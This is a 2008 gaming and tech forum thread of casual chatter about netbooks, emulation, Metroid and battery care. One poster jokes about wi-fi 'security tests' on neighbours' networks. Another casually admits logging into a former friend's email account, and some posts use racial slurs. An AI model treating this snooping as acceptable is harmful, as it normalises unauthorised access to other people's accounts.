Okay, first off, knock it off with the straw man arguments.  You claimed that the device is underpowered.  I believe I've successfully proved that it isn't with my example.  Don't twist it around to push your arguments about the screen size.

Secondly, the point of an ultra-portable isn't to use as a daily system.  They're designed to be more convenient and portable to lug around than laptops, which the ASUS Eee is.

Third, your argument that tech-savvy people wouldn't be interested in them is far from the truth.  I want to buy one simply because it would be an excellent system to use SSH with.  Also, it would be a lot more convenient than my mammoth laptop (also, I should mention that buying a working battery for my laptop is a third of the cost of an Eee 900) for when vyhd wants to play with OpenITG.  Not to mention that if you wanted to do wi-fi "security tests" on peoples' home networks (in a PERFECTLY LEGITIMATE fashion, of course) it would be considerably easier to use an Eee than a full laptop.  My laptop is just plain inconvenient when I use it in cars, an Eee would be absolutely perfect.

It uses a full installation of Linux so you can pretty much do anything with it.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on August 05, 2008, 08:36:43 PM
Third, your argument that tech-savvy people wouldn't be interested in them is far from the truth.

If by tech-savvy you mean trend whore then of curse they would love the latest, smallest gadget.

Then about 10 seconds later we found in his freezer a dead frozen snake. Eventful night.

and by snake, I don't mean a a small one hat crawled into his freezer, I mean a foot and a half boa in a plastic bag frozen solid. Good god.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on August 06, 2008, 12:34:25 AM


and by snake, I don't mean a a small one hat crawled into his freezer, I mean a foot and a half boa in a plastic bag frozen solid. Good god.

What the hell was a boa doing in the freezer?  Is someone trying to play a live version of MGS3: Snake Eater?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on August 06, 2008, 01:33:16 AM
It uses a full installation of Linux so you can pretty much do anything with it.

Well, yes, it is Linux. But the stock OS is a tad limiting unless you go through the hoops to get full writing access (which I did), though it would probably be easier for you since you have more experience with Linux than me. Also, it's really only limiting with its GUI. I can open a terminal and get full root access without a problem.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on August 06, 2008, 01:50:37 AM
What the hell was a boa doing in the freezer?  Is someone trying to play a live version of MGS3: Snake Eater?

I suppose, his mom is crazy. Also shit, now I HAVE to listen to the MGS3 theme.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on August 06, 2008, 02:00:18 AM
But your so suuuupreeeme
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on August 06, 2008, 02:18:09 AM
It has it's uses, but how many of those does annon plan to use it? Essentially, it sounds like he's buying a $400 typewriter.

Sure, I'd rather one of those than a full fledged laptop for going to school. I would use it for the same thing: Browsing the web in class, and typing up my notes, and doing anything else a computer might help in class.

However, I would never use it for anything else because I happen to have a home system more than capable for what I want. I have my own SSH server built on my 1TB NAS hardware, so it's not like I need any extra systems as a server.

Sure, the Eee has it's uses, but for a $400 typewriter, it's still a bit much.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on August 06, 2008, 02:23:18 AM
I am indifferent what I have seen for the Eee PC.

I mean it would be nice to have a FUNCTIONAL laptop that doesn't need to pluged into the outlit 24/7 and the fact I could run games like Doom and Quake just fine with out any problems.

Then again $400 could get me a decent upgrade on my dad's old computer.

Like I said indifferent.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on August 06, 2008, 03:37:35 AM
It really all depends on whether or not you have a use for an ultra-portable or not.  That's basically what it boils down to.

I really wouldn't mind having it just for its size and convenience (you've seen my laptop, Omni :P), not to mention that it probably wouldn't make any noise whatsoever.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on August 06, 2008, 03:49:37 AM
True.

I mean it seems like a cool ultra portible laptop considering mine (and how much it is a pain Spec) that I could use it for school and what not.  Considering (if I read correctly) that it has a Linux distro and me still being fairly new to linux I wouln't mind it. 

Then again I woulnd't mind using Vista if I had the time and the machine to run it.  Considering a co-worker who told me about the whole Mohavie thing Microsoft did...very sneaky of them.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on August 06, 2008, 04:46:14 AM
I will note one major downside to the stock OS: Before being able to strip away all the stuff I wasn't going to use, I had to do all of this: http://wiki.eeeuser.com/howto:removeunionfs
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on August 06, 2008, 08:39:34 AM
Then again I woulnd't mind using Vista if I had the time and the machine to run it.  Considering a co-worker who told me about the whole Mohavie thing Microsoft did...very sneaky of them.

Yeah, I had to laugh when I read about that.  Sadly, most of the problem that Vista has is user acceptance.  It's amazing how much people whine about things that they've never used.

I will note one major downside to the stock OS: Before being able to strip away all the stuff I wasn't going to use, I had to do all of this: http://wiki.eeeuser.com/howto:removeunionfs

That's kind of a nice use of UnionFS, but damn.

On one hand, it's kind of nice that you can easily roll back bad changes.  Pretty much the best recovery mode you could ask for in an OS.  On the other hand, it doesn't lend itself well to tinkerers.

Given the target audience of the Eee, I think ASUS made the right choice in this case.  But still...damn.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: jinxie on August 06, 2008, 04:17:31 PM
I'm getting worried about flying again.

Eeawughoidfh04. Haet it.

That is all.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on August 06, 2008, 11:48:23 PM
I'm getting worried about flying again.

Eeawughoidfh04. Haet it.

That is all.


You will be fine dear.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on August 07, 2008, 09:57:20 PM
been too long since ive posted in this thread

LEMONADE! HAM AND CHEESE! CHEETAH AVATAR! CHEETOS! SOULCALIBUR 4!
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on August 07, 2008, 10:09:52 PM
Don't forget about pron!!!
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on August 07, 2008, 10:35:48 PM
ATTENTION

Panic Attack by Dream Theater is going to be in Rock Band II.

!!!!!!!!!

If you are one of the uninformed people who do not realize the significance of this announcement... so sorry.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on August 07, 2008, 10:37:17 PM
So I'm probably going to try out Rose online, anyone here ever play it? I've heard it was a good free MMO and I've got time to kill.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on August 07, 2008, 10:37:36 PM
Don't forget about pron!!!

i just figure its a given
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on August 07, 2008, 10:44:56 PM
Well you know...its pron.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on August 07, 2008, 11:21:15 PM
So I'm probably going to try out Rose online, anyone here ever play it? I've heard it was a good free MMO and I've got time to kill.

I've played it. I never got past about lv 30 or something, but back then, the majority of players were around lv 30 anyway. Last time I played (I first played it in open Beta) there was a hacker who had GM access and was fucking up the economy and doing stuff like giving people triple expreience for an hour every now and then, and doing things like spawning hordes of high level mobs in the town and such.

It was fun, but I found that like most MMO's, it lacks the large selection of equipment that I like in diablo 2. (I still haven't find an MMO that can match D2 for that though).

For the most part, the community was alright. There were lots of scammers, and people using rudimentary bots, but it wasn't completely wrecked because of them.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on August 08, 2008, 12:28:05 AM
diablo 2 =/= mmo

diablo 2 = rpg with the ability to play online


i can see guild wars since it is ONLINE ONLY, but even then, its all instanced, so it would be more of an "online rpg"
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on August 08, 2008, 12:57:17 AM
I never said D2 was an MMO, however, since MMO(RPG)s are mostly fairly similar to diablo 2 in many ways, and simply build upon the online aspect, rather than the linear story aspect, I still compare the 2.

The reason I love Diablo 2 so much boils down to gameplay. The gameplay is HEAVILY effected by items in Diablo 2. However, the gameplay in most MMORPGs is not nearly as heavily based on items. In fact, most of them are simply "oh, you've reached level X, now you can use item Y, which is the best item for that level." Very few of them have magic effects like D2 does, and even fewer have a halfway decent magic effect system. Diablo 2 blows pretty much every single MMORPG away when it comes to the item system. Considering the skills in those games are for the most part fairly linear, don't have any synergy system, and pretty much top out with 1 ultimate skill, most of the gameplay systems in MMORPGs are kinda lacking. There's usually only about 1 build that's even worth making in most MMORPGs and there's rarely any item system that would make much of a difference to your character because the developemt team decided that skill based gameplay was a better way to go.

In short, I'm sick and tired of shitty MMORPGs, and Diablo 2 surpasses pretty much every one of them in nearly every aspect of gameplay, other than the MMO part itself.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on August 08, 2008, 01:26:14 AM
Also I need to start emulating. I didn't even own an SNES so I've got catching up to do.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on August 08, 2008, 01:33:51 AM
FF6 is a good place to start.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on August 08, 2008, 01:37:11 AM
nigga, super metroid is where its at

also, i think i should beat all of the metroid games, and i should get to doing this soon, starting with the original.

http://www.metroidmetal.com/

and the music is kickass, on all of the games.  i even listen to the original 8-bit music from the first game.  like if jet set radio didn't exist, metroid would be #1 for vg music.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on August 08, 2008, 01:38:34 AM
FF4-6, Chrono Trigger, Earthbound, Terranigma... christ, you've got some catching up to do. I'm hella glad I played all of those games when I did years ago, I have zero motivation to follow through a game these days.

Speaking of which, I want to play through Terranigma again... thanks for reminding me.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on August 08, 2008, 02:22:55 AM
XD

sonnnnnnnnnnn

http://www.spectere.net/smf/index.php?topic=2.msg2#msg2
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on August 08, 2008, 02:26:22 AM
Also I need to start emulating. I didn't even own an SNES so I've got catching up to do.

Didn't I reply to you somewhere else with a google search for an emulation website?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on August 08, 2008, 04:18:59 AM
nigga, super metroid is where its at

Fuck. Yes.

I highly recommend playing it with a gamepad of some sorts, though -- preferably one with a good d-pad.  Super Metroid does not play well on a keyboard in my experience.

sonnnnnnnnnnn

http://www.spectere.net/smf/index.php?topic=2.msg2#msg2

Indeed.

I'm starting to posts like that now.  I try to avoid deleting posts whenever possible, but I don't have a problem doing it if they don't have any actual content. <_<
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on August 08, 2008, 04:33:07 AM
Fuck. Yes.

I highly recommend playing it with a gamepad of some sorts, though -- preferably one with a good d-pad.  Super Metroid does not play well on a keyboard in my experience.

agreed.  BUT if you get used to it, you can get through the game with little difficulty on keyboard.  i know, i beat the game using a keyboard(AND YES I HAVE PLAYED IT ON A REAL SNES, i just didn't get around to beating it on the snes).  the only hard parts is adjusting to the L and R keys, and mapping them to a place relatively easy to use.  but if you have access to a gamepad, FOR THE LOVE OF GOD USE IT, but its not "mandatory" to say, i didn't mind it after the initial "getting used too" part.

anyway, if you like side scrolling games at all, its a sin not to play super metroid.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on August 08, 2008, 04:41:01 AM
Yeah, the L and R buttons gave me a lot of trouble when I tried playing it on keyboard.

I could have probably gotten through it if I played around with my key mappings and such, but eh.  I just ran out and bought an SNES and Super Metroid instead (and no, that's not the only SNES game I own, heh). :3
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Eggman on August 08, 2008, 05:20:04 AM
Oh my god stop talking about keyboards and SNES games together. There are just lines that should NOT be crossed.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on August 08, 2008, 06:03:45 AM
It's not bad with some games.  Super Mario World isn't any harder to play with a keyboard than with a gamepad (I've beaten it with both).

The only games that really don't work well with keyboards are games that require constant use of all six buttons during normal play.  If you're using ZSNES's default key bindings (Z, X, A, S, Q, W) that tends to get really nasty really quick-like.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on August 08, 2008, 06:07:02 AM
So I just checked and, sure enough, this girl I now dislike less strongly still hasn't changed her e-mail password. I'm not really interested in her current social life, I just think it's interesting that as far as I know, her facebook is the only utility that doesn't use her universal password that nearly everyone in her circle of former friends knows.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on August 08, 2008, 06:11:03 AM
Lots of SNES games are fine on keyboard. I can even play Megaman X well enough to beat the game playing on a keyboard (I use the arrow keys, and right Ctrl as A, right Shift as B, / as X and Right Alt as Y "," as L and "." as R and sometimes numpad 0 as rapidfire A.)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: 淫蟲 on August 08, 2008, 11:04:04 AM
I'm completely fine with emulating games from any console with a keyboard excluding those that would normally use a joystick.  As in, when you have to spin the joystick around to do something such as defeating Bowser in Super Mario 64.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on August 08, 2008, 11:57:54 AM
Playing Super Meteroid on keybord is a bitch considering one needs to use the L and R buttons while moving and shooting at the same time...for games like that it is best to get a controler.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on August 08, 2008, 01:01:28 PM
is it strange i would rather play gba games on my GBA than on my ds?  i mean, the battery to my gba sp is DEAD, like it won't hold charges anymore, and id rather play it with the plug in than on the sp.

the buttons just feel better on the damn thing compared to the ds, and the ds has a d-pad I WOULD CONSIDER EVEN WORSE THAN THE 360's D-PAD JESUS. but yeah, one thing i need to get in the future, new battery for the sp.

im saying this because im planning on (well its been like this for a while, im just lazy) beating the original NES metroid on my copy of zero mission.

also, the fuck nintendo, why didn't you release a purple ds, it would be a nice compliment to the purple gbc, and the cobalt (close enough to purple) sp.  now that im at it, all portable game systems should be matte rather than shiny, those look better longer, rather than looking awesome, till you touch it and the smudges from your fingers make it look dirty.  and id get in on the "quit re making game systems better and selling them off, you are screwing over the early adopters which made the damn thing successful in the first place" but thats a new argument which i covered some months back.

anyway, new 2d metroid for the ds, HEAR THAT NINTENDO, MAKE IT!
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on August 08, 2008, 02:57:25 PM
Didn't I reply to you somewhere else with a google search for an emulation website?

More then likely, I'll probably be getting an ZSNES whenever I get my torrenting working.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on August 08, 2008, 08:52:05 PM
i play my snes games on my computer via my original childhood snes controllers. I bought two snes -> usb adapters. fuck yeaaahhhhh
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on August 09, 2008, 12:21:26 AM
http://www.questionablecontent.net/

Derailing the subject matter a tad again.

Love the end panel.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on August 09, 2008, 01:18:46 AM
I just use a PS1 controller with my SNES games.  I have an EMS USB2 two-port PSX controller adapter.  PS controllers are basically the same as SNES controllers physically, except with two analogue sticks and another set of shoulder buttons, and handles.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: cristian989 on August 09, 2008, 01:38:08 AM
I just use a PS1 controller with my SNES games.  I have an EMS USB2 two-port PSX controller adapter.  PS controllers are basically the same as SNES controllers physically, except with two analogue sticks and another set of shoulder buttons, and handles.

that's what i use :)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on August 09, 2008, 01:40:25 AM
I just use a PS1 controller with my SNES games.  I have an EMS USB2 two-port PSX controller adapter.  PS controllers are basically the same as SNES controllers physically, except with two analogue sticks and another set of shoulder buttons, and handles.

That's hopefully what I'll find, because I'll want to do some PS emulation as well.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on August 09, 2008, 03:21:27 AM
hacked psp + snes emulator....super metroid portable....

i mean there are actual psp games i would play (IM LOOKING AT YOU PORTABLE OPS AND MHF2) but the "homebrew" stuff and just the utility makes it very attractive.

its one of those things i want, but i typically won't get one for some time. 
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on August 09, 2008, 02:56:12 PM
Also, does anyone know of a good, unbiased website that shows the views of each presidential candidate? I'd rather not use their official sites, or go and vote knowing little about them.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on August 09, 2008, 03:09:26 PM
Why haven't you been paying much attention? I've been following this stuff and I'm not even an American citizen. You can try Wikipedia though. I can't guarantee how unbiased they actually are, but they are supposed to be as unbiased as possible, so that's likely one of the least biased places on the internet.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on August 09, 2008, 03:55:30 PM
Why haven't you been paying much attention? I've been following this stuff and I'm not even an American citizen. You can try Wikipedia though. I can't guarantee how unbiased they actually are, but they are supposed to be as unbiased as possible, so that's likely one of the least biased places on the internet.

Probably because I've never voted before. Hey, I bet most of my friends won't vote, welcome to America.


Just downloaded xfire, anyone else have it? Also I JUST bought CoD4, seems pretty kawaii.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on August 10, 2008, 02:22:07 AM
Also, does anyone know of a good, unbiased website that shows the views of each presidential candidate? I'd rather not use their official sites, or go and vote knowing little about them.

Funny you should say that, my girlfriend found these really good, informative fact sheets about the two candidates' backgrounds and stances on issues. And it's 100% unbiased. I should mail you one :D
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on August 10, 2008, 02:51:02 AM
my gba sp's battery, is dead.  it will no longer hold a charge, i need a new one.  thats ok, i mean, i had the thing since the sp's came out, these things die with time.

my nintendo ds, i got late march 2007.  from the looks of it, its not holding charges too long.  i mean, the battery went red on me, i haven't played it in a while, but i don't recall playing it for longer than maby an hour, but since i haven't played it in a while i may have had it on longer than i would have assumed.  BUT, having just charged the fucking thing to full, and plugging the thing back in "taking plug out, and re plugging it in) and the "charge" light stays on for like 10 minutes, this seems to me like its losing good chunks of battery right after the charge completes.  if i find out that when i use the thing tomorrow, and it goes red after 20-30 minutes or something, UNACCEPTABLE.  i don't use my ds a lot, it hasn't got too much use, and ive only had it for a year.  if i find out tomorrow that the battery is basically dead, im going to pissed off. 

i really would like not to spend $15.00 on a new battery for a thing that i just fucking got.

CURRENT GENERATION HARDWARE SUCKS
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on August 10, 2008, 03:00:32 AM
Just downloaded xfire, anyone else have it? Also I JUST bought CoD4, seems pretty kawaii.

I do.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on August 10, 2008, 03:24:13 AM
Funny you should say that, my girlfriend found these really good, informative fact sheets about the two candidates' backgrounds and stances on issues. And it's 100% unbiased. I should mail you one :D

They have to be on the internet then, what are they called, if anything?

I do.

Ur added Sauer Kraut.

Also I've noticed something (noticed it a while ago, but something recently sparked interest). Whenever you see something about Virgina tech shown in a comical light most people go "not funny man, you're fucked up". Yet if you showed the same person a joke about 9/11 they'd probably laugh about it. I've never understood this double standard, and I have a friend who acts EXACTLY like that.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on August 10, 2008, 04:50:36 AM
well it could be that the v-tech thing could happen to anyone.  9/11 was a terrorist attack on a high priority target.

still doesn't make sense, but that could explain it.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on August 10, 2008, 06:34:18 PM
So I've heard that the hotter your wireless connecting (in my case, USB) is, the better it resonates. So does that mean I can put a sock on my wireless USB connection and it will make my connection better, or is this just a dumb idea.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on August 10, 2008, 06:45:04 PM
No, that won't do a damned thing.

Wireless communication is based on sending a signal through the air using the same technology as radio does. It uses an electromagnetic wave to send the data much the same way radio, cell phones, and many other things work. Heating up the receiver will do nothing to enhance reception because heat, though it causes the molecules of something to vibrate faster, won't make the receiver work any better. If the receiver gets hot enough, it may even work worse. (Though it would likely have to be quite a bit hotter than a sock could ever make it).
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on August 10, 2008, 09:41:34 PM
ok so i got every item in brinstar, and norfair(save for the wavebeam, which would help on ridley, but im lazy to get it, and it wont help much on kraid), and im working on ridleys lair.

i remember why i quit the first time so many months ago, so i mean, i go around in ridleys lair, die, and then turn the game off.  i come back to the game later, y'know you only start with 30 health, and that means i have 3 empty energy tanks.  "farming" health in this game takes YEARS, like jesus, it will take a good minute or two just to get 20, maby 30 health, and i need what, 400?  the fuck.  and good luck trying to get through the bottom path with only 30 health, yeah, i died like what, 6 times already? 

i guess next time i pick it up (hopefully soon, i would rather beat this game eventually) i will sit there, FARMING HEALTH for an hour or so until i am full, collect the two energy tanks, and two missiles ive yet to get, attempt to kill ridley, if i kill him, move on to kraids lair. 

but they did a good job on super metroid by upping the health pickups, i mean, i have max missiles (75) and those things still drop more than health does.  not to mention when i do get health, its a shitty 5 health drop.

ill give it another go when i cool down a bit.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on August 10, 2008, 10:47:33 PM
You fight Ridley first in the original Metroid too?  Wow, I thought I was like the only person who did that.

Srsly, Ridley's way easier to beat than Kraid.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on August 11, 2008, 12:33:15 AM
well ridleys lair is bitch, therefore i would rather get it over with first.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on August 11, 2008, 12:53:56 AM
I've set up accounts at two banks in the past few days... getting my banking feet wet so I can see what I like best. Before I was using a local Florida Credit Union, and looking back I realize it blows. So far I think I like Wachovia the best... other bank was Bank of America.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on August 11, 2008, 02:17:15 AM
i went into ridley with 83 health expecting to die, i killed him with 59 health left.

i guess i was being retarded when i last fought him, he literally takes ZERO skill to beat.

*edit*

k so i have 6 energy tanks, all the missiles in norfair, brinstar, and im missing one in ridleys lair only because it requires some mad bomjump skills to do, so considering im at like 125 (possibly more, i need to pick up more missiles) missiles, im good.

but uhh i wanted to do ridleys lair first, because i remember ridley being a bitch, and the zone is full of long gay corridors, not to mention it takes a bit of time to get too.  kraids lair is close, and you can get from kraids, to brinstar, to tourain, rather than ridleys, norfair, brinstar, tourain.  anyway...

OFF TO KRAIDS LAIR!

*edit*

killed kraid, (the rest of this post was cut and put in the rage thread, as it is on topic there)

*edit*

you know, i could be retarded about the health thing for the 2player code thing on the nes version.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on August 11, 2008, 06:14:21 AM
I'm currently encrypting my entire hard drive because I read the pipelining TrueCrypt uses improves drive performance.

EDIT: I was sitting at my computer, and suddenly I heard a popping noise behind me, then the sound of something landing on the floor a couple of seconds later. I looked back, and it looks like one of my friends got some chocolate milk a few days ago but didn't finish it and forgot about it. The milk went bad, pressure built up, and the cap popped off. It's disgusting but kind of cool at the same time.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on August 11, 2008, 04:10:14 PM
well i mean, my code is in tourain, with 30 health, half my missiles, every energy tank gotten (i went to fight mother brain with near full health) and only missing two missile pickups.  uhh, varia, high jump, ice beam, spin attack, basically everything but wave beam and two missile pickups.

what i should have did was save the energy tank in brinstar, that would make life easier. 

and fuck, i may just do that later.

also with full health, kraid is easy.  morph ball, and bomb his ass, you should lose about 3 or so energy tanks, but he will die.

*edit*

ok this is POSSIBLE, but for fuck sake, screw attack is shit.  sure its awesome for the entire game, except the final room.

how am i supposed to freeze these fire ball things when i have a small platform to stand on, lava, a higher platform with 3 turrets shooting at me, and jumping basically kills the orbs making them respawn?

like seriously, my file isn't as bad as i had assumed.  kill all the metroids on the way to the final room, and i have usually at least 4 full energy tanks, because when they drop health, its always 30 health.  roughly 150 missiles is PLENTY for what i need, since i already blew up the laser door things, i just need to run to mother brain, and shoot her.  problem is killing her, its those orb things that i can't freeze because i accidentally kill them with screw attack. 


*edit*

http://www.spectere.net/smf/index.php?topic=7.msg19310#msg19310
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on August 12, 2008, 12:14:53 AM
Being trendy at Starbucks is actually kinda fun. With the right company >_>
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on August 12, 2008, 12:23:49 AM
So I just did the sneaking/sniping mission in CoD4. Shit was AWESOME. The mission started all stealthy and slow, and then HUNDREDS OF ENEMIES INCHES AWAY FROM YOU, A GOD DAMN HELICOPTER ATTACKING YOU AND YOU SHOOT IT DOWN, BUT WAIT THAT MOTHERFUCKER CRASHES RIGHT ON YOU HOLY DICKS. OH MY GOD THIS FUCKING SNIPER IS HUGE AND I JUST BLEW THAT NIGGERS ARM CLEAR THE FUCK OFF. I thought most of the game was alright, but this part blew me away.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Eggman on August 12, 2008, 03:04:24 AM
The stage after that is retarded. So was The Bog. And the Broadcast Room. And every other place where guys spawn infinitely until you reach a certain location.

Braid is a super amazing game with an incredible story. One of the best narratives in gaming.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on August 12, 2008, 03:18:54 AM
Taking a break from hardcore cleaning my room. Exhausting work. I've let junk pile up for the past year or so... sorting stuff, throwing weird stuff away. Tired now.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on August 12, 2008, 03:29:50 AM
The stage after that is retarded. So was The Bog. And the Broadcast Room. And every other place where guys spawn infinitely until you reach a certain location.

Yeah, I was kind of in shock when I noticed them in game. Really I thought we passed that in gaming as a whole. Also I liked how this game had a forced stealth and a forced hostage mission and it was still AWESOME.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on August 12, 2008, 04:09:33 AM
I'm baaaaaack!

my gba sp's battery, is dead.  it will no longer hold a charge, i need a new one.  thats ok, i mean, i had the thing since the sp's came out, these things die with time.

my nintendo ds, i got late march 2007.  from the looks of it, its not holding charges too long.  i mean, the battery went red on me, i haven't played it in a while, but i don't recall playing it for longer than maby an hour, but since i haven't played it in a while i may have had it on longer than i would have assumed.  BUT, having just charged the fucking thing to full, and plugging the thing back in "taking plug out, and re plugging it in) and the "charge" light stays on for like 10 minutes, this seems to me like its losing good chunks of battery right after the charge completes.  if i find out that when i use the thing tomorrow, and it goes red after 20-30 minutes or something, UNACCEPTABLE.  i don't use my ds a lot, it hasn't got too much use, and ive only had it for a year.  if i find out tomorrow that the battery is basically dead, im going to pissed off. 

i really would like not to spend $15.00 on a new battery for a thing that i just fucking got.

CURRENT GENERATION HARDWARE SUCKS

You're probably not taking proper care of the batteries.  I'm not saying that to be a dick...it's just not obvious how you're supposed to take care of them.

First off, a lot of people will tell you that discharging them completely and recharging them is a good thing.  Far from it, doing this regularly is about the worst thing you can do to a li-ion battery.  I learned this by destroying my expensive laptop battery after only a year and a half of ownership (in contrast, my mom's laptop is almost two years old and it'll still keep my system powered for four hours despite it only being the cheaper 6-cell battery, since she leaves it plugged in almost all the time).  Don't let the battery get too low and it'll last a lot longer.

Never, under any circumstance, leave anything with a lithium-ion battery just sit there.  If you have something that you know isn't going to be plugged into a charger for a while, take the battery out to slow the battery drain (it'll likely lose charge by itself anyway but if it's in a device it'll drain a lot faster, even if it's off) and try to plug it in to keep the charge ASAP.  My camcorder battery only holds a charge for 15 minutes (more if I only record to a Memory Stick, thankfully) because I didn't do this.

The stage after that is retarded. So was The Bog. And the Broadcast Room. And every other place where guys spawn infinitely until you reach a certain location.

Indeed.

It sucks because CoD4 in single-player is so much fun when you first start playing...before they start pulling that crap.

That's why I only play it online nowadays (speaking of which, anyone else own the PC version?).
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on August 12, 2008, 04:16:40 AM
actually, when it went red the other day, that was the first time it went red on me.  i tend to top off the charge on any electronic device i own.  like even if i play it for 5 minutes, when im done, ill charge that motherfucker back up.

i don't however take out the battery.  and by not playing the darn thing for several months, that's probably the reason it went red.  seems to be doing ok right now, i was just flipping out at the time. 

and to be honest, i thought that keeping my battery topped off was hurting it, so i guess im glad you clarified that.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on August 12, 2008, 04:36:59 AM
Leaving devices plugged in until you're ready to use it seems like a pretty sound idea as well (my mom's laptop is proof of that).

For more information on how to care for li-ion batteries, check the Wikipedia article for them (http://en.wikipedia.org/wiki/Lithium_Ion_Battery#Guidelines_for_prolonging_Li-ion_battery_life) -- it's amazingly informative.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on August 12, 2008, 04:38:30 AM
i just figure when the light is off, it is no longer charging, and thus i would have to unplug, and replug again to get electricity flowing.

unless i am wrong.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on August 12, 2008, 04:43:23 AM
Electricity is always going into the device when it's plugged in.  On some devices (in particular, some cell phones) the charge light will occasionally go on and off when the battery is full.  As for the DS, I believe it kicks the light off when the battery is fully charged and keeps it off until you unplug it and plug it back in.

In all cases, battery-powered devices will maintain the full charge when it's plugged in, regardless of whether it keeps the charge light on or not.  The main reason the light goes out on the DS (and most other devices) is to let you know that it has a full charge and is ready to rock and roll.  Even though the light is off it's still maintaining that full level.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on August 12, 2008, 04:45:19 AM
guess that answers my question, much appreciated sir.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on August 12, 2008, 04:49:28 AM
So I ended up scrapping the old desktop in my room for parts after convincing my mom that she wasn't going to use it anymore, though the only part that proved at all useful was the 120 GB hard drive. The wi-fi card might have been if I could find any win64 drivers, but I couldn't find any anywhere.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on August 12, 2008, 05:06:49 AM
Not a problem, good sir.

Anyway, to make this post a bit less useless, I do have some small thing to rant about.

My phone is a weird motherfucker.  There's this annoying bug in the firmware that causes it to display the size of the microSD card incorrectly when I use a 2GB card (which I am right now) as 1GB.  It's a completely artificial limitation, since the phone itself can address the extra space and even reports the proper amount of free space (though its calculation of used space is off by a lot, since it seems to subtract the free space from the total space for some reason...integer wraparound causes it to report 3,428,224 KB of space used which, of course, is impossible).

